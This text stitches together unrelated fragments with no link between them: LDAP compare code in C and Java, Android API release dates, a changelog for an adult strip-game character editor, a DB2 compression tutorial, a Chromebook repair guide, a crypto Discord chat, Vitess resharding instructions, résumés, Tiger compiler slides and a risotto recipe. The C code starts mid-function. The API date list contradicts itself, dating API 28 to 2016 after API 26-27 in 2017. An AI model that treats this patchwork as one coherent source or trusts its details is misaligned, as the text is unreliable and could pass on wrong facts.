if ( ldap_simple_bind_s( ld, NULL, NULL ) != LDAP_SUCCESS ) {
ldap_perror( ld, "ldap_simple_bind_s" );
return( 1 );
}
/* compare the value "person" against the objectclass attribute */
rc = ldap_compare_s( ld, ENTRYDN, "objectclass", "person" );
switch ( rc ) {
case LDAP_COMPARE_TRUE:
printf( "The value \"person\" is contained in the objectclass "
"attribute.\n" );
break;
case LDAP_COMPARE_FALSE:
printf( "The value \"person\" is not contained in the objectclass "
"attribute.\n" );
break;
default:
ldap_perror( ld, "ldap_compare_s" );
}
/* compare the value "xyzzy" against the objectclass attribute */
rc = ldap_compare_s( ld, ENTRYDN, "objectclass", "xyzzy" );
switch ( rc ) {
case LDAP_COMPARE_TRUE:
printf( "The value \"xyzzy\" is contained in the objectclass "
"attribute.\n" );
break;
case LDAP_COMPARE_FALSE:
printf( "The value \"xyzzy\" is not contained in the objectclass "
"attribute.\n" );
break;
default:
ldap_perror( ld, "ldap_compare_s" );
}
ldap_unbind( ld );
return( 0 );
}
B.4.2 Compare Using JNDI
/*
* @(#)Compare.java 1.2 99/07/26
*
* Copyright (c) 1997, 1999, Oracle and/or its affiliates. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither the name of Oracle nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
* IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
* THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
import java.util.Hashtable;
import javax.naming.*;
import javax.naming.directory.*;
/*
* Use search() to compare values against values contained in entry
* "cn=Barbara Jensen, ou=Product Development, o=Ace Industry, c=US".
* We test to see if (1) the value "person" is one of the values in the
* objectclass attribute (it is), and if (2) the value "xyzzy" is in the
* objectlass attribute (it isn't, or at least, it shouldn't be).
*
* [equivalent to compare.c in Netscape SDK]
*
*/
class Compare {
public static void main(String[] args) {
Hashtable env = new Hashtable(5, 0.75f);
/*
* Specify the initial context implementation to use.
* This could also be set by using the -D option to the java program.
* For example,
* java -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
* Compare
*/
env.put(Context.INITIAL_CONTEXT_FACTORY, Env.INITCTX);
/* Specify host and port to use for directory service */
env.put(Context.PROVIDER_URL, Env.MY_SERVICE);
DirContext ctx = null;
SearchControls ctls = new SearchControls();
ctls.setSearchScope(SearchControls.OBJECT_SCOPE);
ctls.setReturningAttributes(new String[0]); // do not return any attrs
try {
/* get a handle to an Initial DirContext */
ctx = new InitialDirContext(env);
} catch (NamingException e) {
System.err.println("Cannot get initial context.");
return;
}
try {
NamingEnumeration results =
ctx.search(Env.ENTRYDN, "objectclass=person", ctls);
if (results != null && results.hasMoreElements()) {
System.out.println(
"The value \"person\" is contained in the objectclass attribute.");
} else {
System.out.println(
"The value \"person\" is not contained in the objectclass attribute." );
}
} catch (NamingException e) {
System.err.println("Comparison of value person failed.");
}
try {
NamingEnumeration results =
ctx.search(Env.ENTRYDN, "objectclass=xyzzy", ctls);
if (results != null && results.hasMoreElements()) {
System.out.println(
"The value \"xyzzy\" is contained in the objectclass attribute.");
} else {
System.out.println(
"The value \"xyzzy\" is not contained in the objectclass attribute." );
}
} catch (NamingException e) {
System.err.println("Comparison of value xyzzy failed.");
}
}
}
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April 27, 2009
API 3
September 15, 2009
API 4
October 26, 2009
API 5-7
May 20, 2010
API 8
December 6, 2010
API 9-10
February 22, 2011
API 11-13
October 18, 2011
API 14-15
July 9, 2012
API 16-18
October 31, 2013
API 19-20
November 12, 2014
API 21-22
October 5, 2015
API 23
August 22, 2016
API 24-25
August 21, 2017
API 26-27
August 22, 2016
API 28


Dialogue
- There is now a Dialogue setting to auto-fill available stages when opening the "Select Images Per Stage" form (the chevron button next to a line's image).
- Added background reference to the References section sidebar which lets you review a game background's attributes (location, time, temperature, etc.)
Dashboards
- The franchise comparison dashboard will now remember what the last franchise was and default to that next time.
Pose Matrix
Introducing the Pose Matrix tab. This tool provides another optional method for managing Kisekae pose codes as an alternative to pose lists, templates or external spreadsheets. Features include:
- Auto-saving to poses.xml whenever character is saved.
- Data recovery. Like other .xml files, the data recovery tools will backup and restore the pose matrix.
- Spreadsheet-like display for an easy at-a-glance view to see what poses haven't been created yet.
- Support for importing entire lineups of a character's strip sequence. For a single pose (ex. "nervous"), line up all stages side by side in Kisekae and import them all at once into the pose matrix.
- Support for exporting lineups. Pick a pose column and use the Export Lineup button to load that poses strip sequence into Kisekae.
- Templating support. Like templates, you can optionally assign a base appearance code, stage codes for clothing, and poses for each emotion, and it'll combine these into the proper clothing + emotion for each stage when importing. This lets you update a pose across all stages or a stage's clothing across all poses without manually updating each one.
- Like Pose Lists, provides buttons for bulk reimporting of all images in the matrix or importing only those whose files haven't been created yet.
- Creation from templates and/or pose lists. The Pose List and Template tabs contain "Add to Matrix" buttons to load a pose list or template into the matrix.
- See the tutorial at link for more information or refer to the help documentation.
Settings
- Added an option to hide the warning banner when viewing an incomplete character.
Bug Fixes
- The "Select Images Per Stage" popup no longer auto-fills in every possible pose.
- Added scrollbars to the "Select Images Per Stage" popup when needed, and fixed its window sizing cutting off the OK/cancel buttons.
- It's now possible to delete poses from the "Select Images Per Stage" popup by unchecking everything in that row. Previously a row with nothing checked would be used for every stage.
- Fixed issue where deleting a case that had misspelled words would still show those words in Spell Check.
- Responding to a "Must Masturbate (Self, First)" case will now create a slightly more space-efficient "0 not still in game" condition instead of "0 finished + 0 masturbating".
- "Total Playing" condition has been renamed to "# Players Still in Game" to be clear it refers to the number that has not yet forfeited vs the number of players at the table.
- Total Exposed, Total Naked, Total Masturbating, and Total Finished conditions have been renamed to "# Players ..."
- Fixed crash when encountering an unrecognized listing status.


Run the four statements in the Ad Hoc command window to the right.
This step builds a compressed copy of the CUSTOMER_ADDRESS_WITHOUT_COMPRESSION table.
The first statement creates a new table CUSTOMER_ADDRESS_WITH_COMPRESSION. All the rows from the original CUSTOMER_ADDRESS_WITHOUT_COMPRESSION table are selected and inserted in the new CUSTOMER_ADDRESS_WITH_COMPRESSION table. The two tables are identical in size.
The ALTER TABLE command switches on row compression for the CUSTOMER_ADDRESS_WITH_COMPRESSION table, but nothing is compressed until the final step.
The reorganization (REORG) command samples the table data, builds a compression dictionary and compress the data.


Faceplate Repair
The glass-plastic polymer faceplate that covers the Dell A35's display tends to break, as glass does not perform well in the hands of middle and high schoolers. This is an easy repair and one that will not take time to learn.
Before repairing any device, verify that the student whose Chromebook you are about to repair does not have insurance.
Materials:
- A new faceplate
- Wastebasket
- Prying tool or flathead screwdriver
Time: 2 minutes
- Be careful. Glass is glass. It will break and shatter more than it already is, and be mindful about glass dust. This repair is best done with the device over a wastebasket.
- The priority here is to not damage the LCD underneath the faceplate. If the faceplate is already cracked, there is no point being careful with it. Therefore, the bezels are your friend.
- Open the Chromebook and place one of the shorter sides (the ones with the I/O) on the edge of the wastebasket. The lip of the wastebasket will help keep the device steady while you remove the faceplate. Ensure the faceplate is facing away from you.
- Take your prying tool or screwdriver and insert it at the seam between the faceplate and the backplate of the display assembly either on the top or sides of the display assembly. Push up from the backplate.
- The faceplate is held on with glue and plastic clips. Neither should present an issue. Refer to "Removing an Unbroken Faceplate" if the glue is not coming undone.
- Proceed around the top and sides of the faceplate, undoing the clips and glue. Feel free to use force, as the faceplate is already broken and any pieces of glass that do come off will go directly into the wastebasket.
- At the bottom of the display assembly is a black, plastic strip that covers the hinge.
- Image by The Verge.
- Try not to throw it out on accident, as it will come off with the glass faceplate. Try to pull it off and set it aside before letting the faceplate fall into the garbage. If it gets thrown out accidentally, fish it out if you feel comfortable or just grab a new one if you don't.
- Put the Chromebook on the desk and take the new faceplate out of its plastic bag. Orient the faceplate with the display assembly and press it onto the display assembly. The clips will re-engage audibly, while the adhesive pads will stick without much prompting.
- Once the glass faceplate is completely re-attached, attach the strip of plastic that you saved earlier.
- Press the plastic piece onto the top of the hinge area. Use the pry tool or a small screwdriver to force the bottom half of the hinge cover so the clips properly engage.
Created with the Personal Edition of HelpNDoc: Full-featured Help generator


My name is
Givolaj Dan
(born June 22, 1994) is an American author most well known for his thriller novels
Likes
About
| Name: | Givolaj Dan |
|---|---|
| Mobile Number: |<PHONE_NUMBER> |
| Work Number: |<PHONE_NUMBER> |
| Personal Email: |<EMAIL_ADDRESS>|
| Work Email: |<EMAIL_ADDRESS>|
Hobbies
reading
speach
play basketball
This is our first website homework.
Students in our team: Majd Hanna, Mohammad Heib, Salam Abu Saleh, Ayal Sabag and Bshara Hamati.


Click and drag to make a rectangular selection of OVE Clients, or click a single Client to toggle its selected status. Press the escape key or the clear selection button to clear selection.
Clear selection Generate Spaces.json


Pirate (ARRR) is a cryptocurrency that solves the issue of financial privacy on the blockchain through forced anonymous transactions. Protect your wallet and transactions with Pirate’s completely anonymous network. With forced private transactions, your privacy cannot be compromised by another users’ activity on the network. If you wish to learn more, please join the official Pirate Discord at https://pirate.black/discord/ or message FishyGuts#5085, who will be happy to help out.
100 messages
Before 05-Dec-19 12:00 AM
Exile1330-Oct-18 05:31 PM
theres 4 more sells orders there now
KSanJuan30-Oct-18 05:33 PM
Up and running for me...
1
dukeleto30-Oct-18 05:35 PM
buy orders are filling in ye orderbook
mrlynch30-Oct-18 05:35 PM
w00t w00t bring out the loot
dukeleto30-Oct-18 05:36 PM
ye crypo dubloons have finally made it to the open market at port, after making the salty journey across the seas
1
jansako30-Oct-18 05:37 PM
I wonder why the OTC got so quiet...
dukeleto30-Oct-18 05:37 PM
don't sell too low ye HODLers
Flexatron30-Oct-18 05:37 PM
Shit
dukeleto30-Oct-18 05:38 PM
does DP have daily limits?
Flexatron30-Oct-18 05:38 PM
It works
jansako30-Oct-18 05:38 PM
yeah
5k USD I think
dukeleto30-Oct-18 05:38 PM
does DP ask for a salty selfie of ye ugly mug?
Flexatron30-Oct-18 05:39 PM
Nope..
jansako30-Oct-18 05:40 PM
ID upload...
will pass for now I think...
Flexatron30-Oct-18 05:41 PM
just take a few days to buy your boat
5K$ max per day
BlockTech30-Oct-18 05:44 PM
5k$ a day is enough i think, no need to upload ID ...


| IY | I | year |
|---|---|---|
| ID | I | day in year (1 = Jan 1st) |
| FD | R | fraction of day |
| PV | R(6) | Moon , mean equator and equinox of date (AU, AU s-1) |
|---|
per hour in longitude, and
per hour in latitude, 350 km and 2 metres per second in distance.) Note that the distance accuracy is comparatively poor because this routine is principally intended for computing topocentric direction.
SLALIB --- Positional Astronomy Library


This guide shows you an example about how to apply range-based sharding process in an existing unsharded Vitess keyspace using the horizontal resharding workflow. In this example, we will reshard from 1 shard "0" into 2 shards "-80" and "80-".
The horizontal resharding process mainly contains the following steps (each step is a phase in the workflow):
You should complete the Getting Started guide (please finish all the steps before Try Vitess resharding) and have left the cluster running. Then, please follow these steps before running the resharding process:
Configure sharding information. By running the command below, we tell Vitess to shard the data using the page column through the provided VSchema.
vitess/examples/local$ ./lvtctl.sh ApplyVSchema -vschema "$(cat vschema.json)" test_keyspace
Bring up tablets for 2 additional shards: test_keyspace/-80 and test_keyspace/80- (you can learn more about sharding key range here):
vitess/examples/local$ ./sharded-vttablet-up.sh
Initialize replication by electing the first master for each of the new shards:
vitess/examples/local$ ./lvtctl.sh InitShardMaster -force test_keyspace/-80 test-200
vitess/examples/local$ ./lvtctl.sh InitShardMaster -force test_keyspace/80- test-300
After this set up, you should see the shards on Dashboard page of vtctld UI (http://localhost:15000). There should be 1 serving shard named "0" and 2 non-serving shards named "-80" and "80-". Click the shard node, you can inspect all its tablets information.
Bring up a vtworker process, which can be connected through port 15033. (The number of vtworker should be the same of original shards, we start one vtworker process here since we have only one original shard in this example.)
vitess/examples/local$ ./vtworker-up.sh
You can verify this vtworker process set up through http://localhost:15032/Debugging. It should be pinged successfully. After you ping the vtworker, please click "Reset Job". Otherwise, the vtworker is not ready for executing other tasks.
Another way to start the workflow is through the vtctlclient command, you can also visualize the workflow on vtctld UI Workflows section after executing the command:
vitess/examples/local$ ./lvtctl.sh WorkflowCreate -skip_start=false horizontal_resharding -keyspace=test_keyspace -vtworkers=localhost:15033 -enable_approvals=true
When creating the resharding workflow, the program automatically detect the source shards and destination shards and create tasks for the resharding process. After the creation, click the workflow node, you can see a list of child nodes. Each child node represents a phase in the workflow (each phase represents a step mentioned in Overview). Further click a phase node, you can inspect tasks in this phase. For example, in the "CopySchemaShard" phase, it includes tasks to copy schema to 2 destination shards, therefore you can see task node "Shard -80" and "Shard 80-". You should see a page similar to this.
Once the workflow start to run (click the "Start" button if you selected "Skip Start" and the workflow hasn't started yet.), you need to approve the task execution for each phase if "enable_approvals" is selected. The approvals include 2 stages. The first stage approves only the first task, which runs as canarying. The second stage approves the remaining tasks.
The resharding workflow runs through phases sequentially. Once the phase starts, you can see the approval buttons for all the stages under the phase node (click the phase node if you didn't see the approval buttons, you should see a page like this). The button is enabled when the corresponding task(s) are ready to run. Click the enabled button to approve task execution, then you can see approved message on the clicked button. The approval buttons are cleared after the phase has finished. The next phase will only starts if its previous phase has finished successfully.
If the workflow is restored from a checkpoint, you will still see the the approval button with approved message when there are running tasks under this approval. But you don't need to approve the same tasks again for a restarted workflow.
A "Retry" button will be enabled under the task node if the task failed (click the task node if your job get stuck but don't see the Retry button). Click this button if you have fixed the bugs and want to retry the failed task. You can retry as many times as you want if the task continuelly failed. The workflow can continue from your failure point once it is fixed.
For example, you might forget to bring up a vtworker process. The task which requires that vtworker process in SplitClone phase will fail. After you fix this, click the retry button on the task node and the workflow will continue to run.
When a task failed, the execution of other tasks under this phase won't be affected if this phase runs tasks in parallel (applied to phase "CopySchemaShard", "SplitClone", "WaitForFilteredReplication"). For phases that runs tasks sequentially, remaining unstarted tasks under this phase will no long be executed. The phases afterwards will no longer be executed.
The resharding workflow tracks the status for every task and checkpoint these status into topology server whenever there is a status update. When a workflow is stopped and restarted by loading the checkpoint in the topology, it can continue to run all the unfinished tasks.
After the resharding process, data in the original shard is identically copied to new shards. Data updates will be visible on the new shards, but not on the original shard. You should then see in the vtctld UI Dashboard page that shard 0 becomes non-serving and shard -80 and shard 80- are serving shards. Verify this for yourself: inspect the database content using following commands, then add messages to the guestbook page (you can use script client.sh mentioned here) and inspect using same commands:
# See what's on shard test_keyspace/0
# (no updates visible since we migrated away from it):
vitess/examples/local$ ./lvtctl.sh ExecuteFetchAsDba test-100 "SELECT * FROM messages"
# See what's on shard test_keyspace/-80:
vitess/examples/local$ ./lvtctl.sh ExecuteFetchAsDba test-200 "SELECT * FROM messages"
# See what's on shard test_keyspace/80-:
vitess/examples/local$ ./lvtctl.sh ExecuteFetchAsDba test-300 "SELECT * FROM messages"
You can also checkout the Topology browser on vtctl UI. It shows you the information of the keyrange of shard and their serving status. Each shard should look like this
After you verify the result, we can remove the original shard since all traffic is being served from the new shards:
vitess/examples/local$ ./vttablet-down.sh
Then we can delete the now-empty shard:
vitess/examples/local$ ./lvtctl.sh DeleteShard -recursive test_keyspace/0
You should then see in the vtctld UI Dashboard page that shard 0 is gone.
Since you already cleaned up the tablets from the original unsharded example by
running ./vttablet-down.sh
, that step has been replaced with
./sharded-vttablet-down.sh
to clean up the new sharded tablets.
vitess/examples/local$ ./vtworker-down.sh
vitess/examples/local$ ./vtgate-down.sh
vitess/examples/local$ ./sharded-vttablet-down.sh
vitess/examples/local$ ./vtctld-down.sh
vitess/examples/local$ ./zk-down.sh
You can checkout the old version tutorial here. It walks you through the resharding process by manually executing commands.
vtworker copies data from a paused snapshot. It will pause replication on one rdonly (offline processing) tablet to serve as a consistent snapshot of the data. The app can continue without downtime, since live traffic is served by replica and master tablets, which are unaffected. Other batch jobs will also be unaffected, since they will be served only by the remaining, un-paused rdonly tablets.
During the data copying, vtworker streams the data from a single source to multiple destinations, routing each row based on its keyspace_id. It can automatically figure out which shards to use as the destinations based on the key range that needs to be covered. In our example, shard 0 covers the entire range, so it identifies -80 and 80- as the destination shards, since they combine to cover the same range.
Once the copying from a paused snapshot (phase SplitClone) has finished, vtworker turns on filtered replication, which allows the destination shards to catch up on updates that have continued to flow in from the app since the time of the snapshot. After the destination shards are caught up, they will continue to replicate new updates.
During the master migration, the original shard masters will first stop accepting updates. Then the process will wait for the new shard masters to fully catch up on filtered replication before allowing them to begin serving. After the master traffic is migrated, the filtered replication will be stopped. Data updates will be visible on the new shards, but not on the original shards.


Newton's cradle
Just a simple rendition of Newton's cradle in CSS.
Haven't really found a timing function that looks just right. Tweet me if you have a better one for a pendulum like this!
Just a simple rendition of Newton's cradle in CSS.
Haven't really found a timing function that looks just right. Tweet me if you have a better one for a pendulum like this!


1 override of StateChanged
System.Management.Automation (1)
engine\remoting\client\clientremotesession.cs (1)
285
public override event EventHandler<RemoteSessionStateEventArgs>
StateChanged
;
1 reference to StateChanged
System.Management.Automation (1)
engine\remoting\client\RemotingProtocol2.cs (1)
46
RemoteSession.
StateChanged
+= HandleClientRemoteSessionStateChanged;


100 red bicycles stolen from local bike store
A hundred red bicycles were stolen from under our noses yesterday, and nobody knows what went wrong.
New leash laws in effect for floppy-eared dogs
Ears on dogs can be a tricky thing. Find out more about this amazing story and why these dogs are a nuisance.
Insider: Can palm trees be saved?
Ah, the palm tree. It feeds us, it shades us, it does whatever we ask. We should think about it more deeply.
Fresh recipes to titillate the taste buds
Food is great. These recipes will make you appreciate food as if it were even greater than great. It will be super great.
Truck inspections under way for the metropolitan area
The Sherrif's department has put out an APB on these trucks. You know, this is the kind of thing that only happens in small towns.
Are the beaches safe for swimming this year?
Giant orange pedal boats have been spotted at various beaches. In this report we tell you some ridiculous precautions to take.


Worried about your spending habits?
Use CashTrack to keep track of your expenses and control your habits. View graphical representation of your balance to know where you're spending the most. Forget about keeping track on paper!
Never forget again!
Never over spend and deal with debt afterwards again nor have to deal with miscalculations or the human nature of being forgetful.


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Medieval catalogues > UNIVERSITY AND COLLEGE LIBRARIES OF OXFORD > New College > Indenture of books given by Nicholas Wykeham, 9 June 1407
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All data was derived from the List of Identifications by Professor Richard Sharpe.
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Elsewhere in Further Science Book 20, Norman Davies has a section on dogs, which begins, enigmatically, “That the fact that sea centuries old wood when broken, is fresh orange and turns grey in 40 seconds, then black, is significant”. That may well be so, but it is not really pertinent to this paragraph. Nevertheless, while we are on the subject of dogs, it gives me great pleasure to include this photograph of Richard Milhous Nixon with his legendary pooch, Checkers.


Look inside the PDF for a detailed explanation of the figure.
Look inside the PDF for a detailed explation of the figure. If the user touches the pitch or pan controls, while touching one of the volume controls, both will be accessable silmultaniously.
Look inside the PDF for a detailed explation of the figure. This screen details what is visible when the drawer not.
Look inside the PDF for a detailed explation of the figure. This details the information flow when using the library to find songs.
Look inside the PDF for a detailed explation of the figure. This details the information flow when the DJ is not actively selecting the next song.


Science Communicator
PhD | Lisbon-based
I’m a science communicator from Lisbon with a solid experience in team management and strategic communication planning. Avid learner, curiosity and passion are my main driving forces to keep improving everyday.
I love to deconstruct the complexity of science so that others can fall in love with it like I do. I always try to push my own limits and challenge myself. I use all available digital tools for scientific dissemination. I excel in creative team environments.
Download CVDrop me an email


Career Profile
Full stack software developer. Somebody who has the skill and mindset who goes beyond the norm to accomplish any task set in front of him with the drive to overcome any obstacle, a drive which only can be tamed by excelling, needing to be in an environment where challenges awaits, where the next day is never the same as the day before.
I’m a web developer.  I love to build websites that delight and inform and which focuses on user experience. I’m curious, and I enjoy work that challenges me to learn something new and stretch in a different direction. I do my best to stay on top of changes in the state of the art so that I can meet challenges with tools well suited to the job at hand. I am technically competent and industry aware which means that each project I take on, is undertaken with the most up-to-date and relevant programming foundations available.
A strong communicator with the ability to convey ideas clearly with an emphasis on client satisfaction. I am thorough and precise in everything I do, and also have a keen interest in technology, mobile applications and user experience. As someone who takes responsibility for my own personal development, I am continually evaluating and upgrading my skills so that I stay at the cutting edge of web development. ##How I keep my skills sharp I feel the best way to keep my skills on point is to collaborate with other fellow developers in different teams because there's always someone who knows something that you might not have known previously. I believe you learn something new each and every day. I try and read as many blogs and media posts from all the big players in the Tech world as I can. If there's a new cutting-edge software/product out there ill be one of the first people to have it already installed.
Experiences
Web Developer focused on both front end and back end with the help of my previous experience to build effective and attractive online casino’s catered to the European markets as well as online betting platforms which are being introduced into African, European and South American markets.
Even though current my role is more focused in developing websites and back-end coding I still keep my skills sharp in using my skills as a full stack developer on a daily basis as an advantage. I mainly focus on researching and developing new projects where I can go and positively impact our current systems.
- .NET Core MVC & Web Api
- .NET Web Api
- Kentico CMS & EMS
- Angular
- NodeJS incl. Express.js
Technical Team Lead on multiple projects where it is my responsibility for targets to be met.
Full stack developer - using various technologies to fulfill tasks which are given to me to complete on set deadlines even if it means working late nights and early mornings.
Assisting in presentations with our manager to demo to clients on various applications and/or training on our various product modules.
Giving third lever support to clients.
Projects and duration of which I have collaborated on:
-
ELMS (Employee Life-cycle Management Solution) (2015 - 2017)
Project is written in ASP.NET. Project is used by various clients within South Africa and Australia , the users range from Consultants to Account Managers to anybody who has been given access to manage an assignee from the point of on boarding to placement , I was part of the initial team who built the solution from the beginning and still a part of the team adding new features to it which is requested from clients on their specific needs. -
Lexis Nexis Verification's Project (2016 - 2017)
Project is various AWS Lambda functions which are written in Node.js using ECMAScript 6 and jasmine for unit testing purposes. I was the Technical Development Lead on this project. -
Labour Solutions Australia Online Registration Portal (2016 - 2017)
Project is written in MVC Project is used in Australia as a means for recruiters to onboard potential candidates into their talent pool as well as using it as a means for inducting candidates for different clients in Australia. The project just went live in South Africa being used as a way for recruiters to get potential candidates into their talent pool. My role in this project is as its Lead Developer and Technical Lead and also responsible for all support queries. -
Adcorp Online Registration Portal (2016 - 2017)
Project is written in MVC Project is used in South Africa as a means for recruiters to onboard potential candidates into their talent pool as well as using it as a means for inducting candidates for different clients in South Africa. My role in this project is as its Lead Developer and Technical Lead and also responsible for all support queries. -
Adcorp Self Service Portal (2016 - 2017)
This portal is designed to be used by working candidates to update their personal information as well as a easier means of downloading their payslips to help free-up the workload from their recruiting consultant this portal also boasts the functionality to be able to capture time which in turn gets calculated in the ELMS project and then, in turn, gets sent to AX for payroll to happen . I am also the lead developer and technical lead on this project.


I am currently developing an iPhone application for discovering local music events based on a users' music preferences, specifically focusing on artists that have not been classified using collaborative filtering methods. I am using Apple's Objective-C development tools, Flask for Python, and SQLite3.
In summer of 2012, while interning in Seattle, I participated in Facebook's Seattle summer hackathon. Together, with my partner Cassie, we developed a Facebook Application that creates collages out of a set of 3-5 photos and automatically posts them to your Facebook and places them in an album. We placed first in the hackathon and won some awesome JamBox speakers! We built it using Flask, Python, HTML, CSS, and JavaScript. Check it out here!
This is a project I worked on at the Seattle Women's Startup Weekend in 2012. We developed a website for micro-recommendations for professionals. Simply put, KudoCast is to LinkedIn as Twitter is to Facebook. Users can receive "kudos" for small achievements at work, and take those with them to showcase during their next job search. This was developed using Jade, CSS, Node.js, and MongoDB. Check it out here!


class: center, middle # Tiger compiler By Aldana Ramirez, Lautaro Rinaldi and Martín Villagra --- ### includes Include a file inside the let construction. Example: ``` let include "other_definitions.tigd" in 0 end ``` This feature was implemented by adding an extra stage just after parsing, where includes are replaced for the contents of the included files. Extra care was taken for detecting include loops. Implementation lives on `tigerinclude.sml`. --- ### extern Added an `extern` keyword to declarate extern functions, this enables calling C functions from Tiger or to use any external library. Example: ``` let type SDL_Window = {} type SDL_Surface = {} extern function SDL_GetWindowSurface(win:SDL_Window):SDL_Surface in SDL_GetWindowSurface(nil); 0 end ``` It was implemented by only editing the parser (`tigergrm.y`) as the compiler was already handling `extern` functions. Implementation: ``` | EXTERN FUNCTION id PI tyflds PD { ExternDec({name=$3, params=$5, result=NONE}, P()) } | EXTERN FUNCTION id PI tyflds PD DOSP id { ExternDec({name=$3, params=$5, result=SOME $8}, P()) } ``` --- ### gcc flags All unrecognized flags are passed to gcc, which generates the executable code on the last stage. This enables passing parameters to the linking process, which is specially useful for projects requiring libraries. This is implemented in `tigermain.sml`. Example: ``` ./tiger ../juego/main.tig -lSDL2 -lSDL2_ttf -lSDL2_image -lSDL2_mixer ../juego/lib.c ``` --- ### optimization 1: Representation of sets During liveness analysis, following the suggestion from the book on page 216, we represent sets as ordered lists which drastically reduced the time of that step. This can be seen on `tigerliveness.sml`. --- ### optimization 2: Ordering the nodes During liveness analysis, we implemented the optimization mentioned in the book on page 389. This greatly reduces compilation time by topological sorting the flow graph and use the order to process the nodes, thus reaching the fixed point much faster. Implemented on `tigerliveness.sml`. --- ### test automatization We developed a simple script to run and maintain a test suite. Each test was added manually, it consists of a code and the expected output of the compiler and its execution. We do a small parsing of the first line of the code of the test in order to embed what parameters should be passed to the compiler (for example to print intermediate trees). This enables to create and maintain the test suite even when not all stages of the compiler are finished. It has saved us a lot of time by detecing bugs early and to avoid introducing new ones. The script is `tests/test` and is written in Bash. We ended up with 164 tests for the tiger compiler. --- Example test: > liveness/hello.tig ``` /*TIGER_ARGS=-code -flow*/ (print ("Hello World");0) ``` > liveness/hello.out ```bien! ;;--FRAME--L0__tigermain_0: LABEL: L3 MOVE: movq %'s0, %'d0 D:T2 S:rbx MOVE: movq %'s0, %'d0 D:T3 S:r12 ... n22(LABEL: L2): n23 n23(OPER: D:[] S:[rax,rsp,rbp,rbx,r12,r13,r14,r15]): ;;-END-FLOW-: yes!! Hello World Return code: 0 ``` --- Screenshot: ![Screenshot of tests running](https://raw.githubusercontent.com/vmartinv/compiler/master/screenshots/test_script.png) --- ### sokoban game By using some of the features implemented small game was programmed. It uses `SDL 2` C library and function wrappers in `juego/lib.c` has been written to call functions with strings (as C strings are diferent from Tiger strings). You can run it by: Screenshot: ![Screenshot of first level of the game](https://raw.githubusercontent.com/vmartinv/compiler/master/screenshots/juego.png) --- ### compiler pipeline We encapsulated each stage of the compiler in a function and by defining the operator `>>=` we are able to write the entire compiler as a series of steps in a very clear way: ``` fun perFragment fragment = fragment >>= instructionSel >>= prntCode >>= debugLivenessAnalysis >>= coloreo >>= prntColor >>= procExit3 >>= formatter source_filename >>= abreArchivo >>= lexer >>= parser >>= (*de ASCII al arbol tigerabs.exp*) expIncludes >>= (*etapa agregada para que funcionen los includes*) escap >>= prntArbol >>= seman >>= prntIr >>= (*chequeo de tipos y generacion de fragmentos*) canonize >>= prntCanon >>= (fn (stringList, frags) => (stringList, map perFragment frags)) >>= serializer >>= prntAsm >>= compileAsm >>= prntOk (*si llega hasta aca esta todo ok*) ``` Implemented on `tigermain.sml`. --- ### compiler diagram A diagram was created showing the main stages of the compiler. Original document: https://drive.google.com/file/d/0ByI9GfoY63_aTDFaUjVLRjVwM1k/view?usp=sharing Image preview: ![Diagram of the compiler](https://raw.githubusercontent.com/vmartinv/compiler/master/screenshots/etapas.png) --- ### open source Full code of the compiler, tests, game, class notes and presentation are available at: https://github.com/vmartinv/tiger-compiler --- ### file opener All source files start with `tiger` and there are many files with the same name but different extensions (some come from compilation subproducts). For this reason we found ourselves spending a lot of time looking for the specific files we wanted to open. For this reason we made a small script to list and open the sources files easily. Implementation is in `src/e` and is written in Bash. Screenshot: ![Screenshot of file opener](https://raw.githubusercontent.com/vmartinv/compiler/master/screenshots/e_script.png)


Preparation time
less than 30 mins
Cooking time
1 to 2 hours
Serves
Serves 4
Dietary
Butternut squash and sage is a marriage made in heaven as this simple yet flavour-packed risotto shows.
Preheat the oven to 200C/400F/Gas 6.
Cut the butternut squash into 6-8 wedges, remove the seeds and place in a roasting tray. Pound or chop the garlic and add a generous glug of olive oil, half the sage leaves, sea salt and pepper. Tip into the tray and rub over the butternut squash with your hands. Roast in the oven for 40-50 minutes until softened and becoming golden in colour.
Once the squash has cooked, cool slightly, then scrape the soft flesh away from the skin into a bowl. Lightly mash with a fork or potato masher until it is fairly chunky in texture. Scrape any sticky juices left in the roasting tray into the bowl and keep warm while making the risotto.
Heat the olive oil and a good knob of butter in a deep, heavy-based frying pan or saute pan. Gently fry the onion until softened. Add the rice and stir for about a minute until the grains are coated with the oil and butter. Pour in the wine and stir continuously until it has cooked into the rice. Add a good ladle of hot stock and the remaining sage and season well with salt and pepper. Turn the heat down so the stock is simmering gently. Keep adding ladles of stock as it cooks into the rice, stirring and moving the rice around in the pan. After about 15-20 minutes the rice should be soft but still have a bit of bite left in it. The texture of the risotto should be thick and creamy, but not too loose. Add extra stock if necessary. It may seem tedious standing and stirring but the end result will be worth it.
Remove the pan from the heat and gently stir the roasted butternut squash into the risotto with the parmesan, the remaining butter and seasoning to taste. Add any extra stock if the risotto seems particularly thick. Cover with a lid for a couple of minutes as this will give the risotto an even creamier texture.
During this time, place the pinenuts in a fairly hot frying pan and toss around until golden. Spoon the risotto into warmed bowls and scatter with the pinenuts and extra parmesan.


